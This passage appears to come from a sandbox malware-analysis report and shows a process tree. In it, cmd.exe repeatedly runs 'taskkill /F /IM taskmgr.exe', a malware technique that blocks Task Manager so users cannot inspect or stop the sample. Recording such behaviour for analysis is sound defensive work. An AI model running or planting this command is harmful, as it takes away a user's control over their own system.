    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3564
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4896
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:4300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:796
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1740
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1368
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4212
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1700
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2512
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5596
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5656
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:6000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:436
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2192
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5448
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5476
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3656
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:6136
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2968
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:3908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2708
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:472
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1556
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2004
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5964
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2500
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2036
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:5948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4976
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:3384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3548
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5028
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5492
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:204
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:5148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3644
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:3404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5400
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5496
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4256
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3036
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:3640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3300
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2676
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:4752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5716
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5984
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:1724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3344
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:4932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:292
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1616
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3144
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:6140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3436
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1488
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5300
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1852
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2160
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2740
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:4008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5224
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2612
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:6000
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:4984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2200
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5840
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:5016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5336
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1248
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4568
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2172
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2220
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4468
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4212
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2396
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:828
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4460
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:952
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4036
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:5764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4952
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:332
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:3096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:304
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2360
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3188
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4464
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:5356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5780
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3348
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:4816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5624
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5432
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5792
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:1324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5992
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3012
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3088
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:1452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4320
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2960
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:320
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1212
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1952
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5564
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:4608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1544
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4612
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:1088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3416
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1124
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2772
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3296
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3716
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1452
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2860
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1144
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:856
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3908
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2876
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3900
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3640
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:3780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5936
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4084
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4056
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4984
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3836
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1112
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3368
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1664
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5304
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4436
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5728
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5320
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2240
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:6020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4524
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:4028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2368
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:3796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2052
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:3448
- C:\Windows\system32\cmd.exe
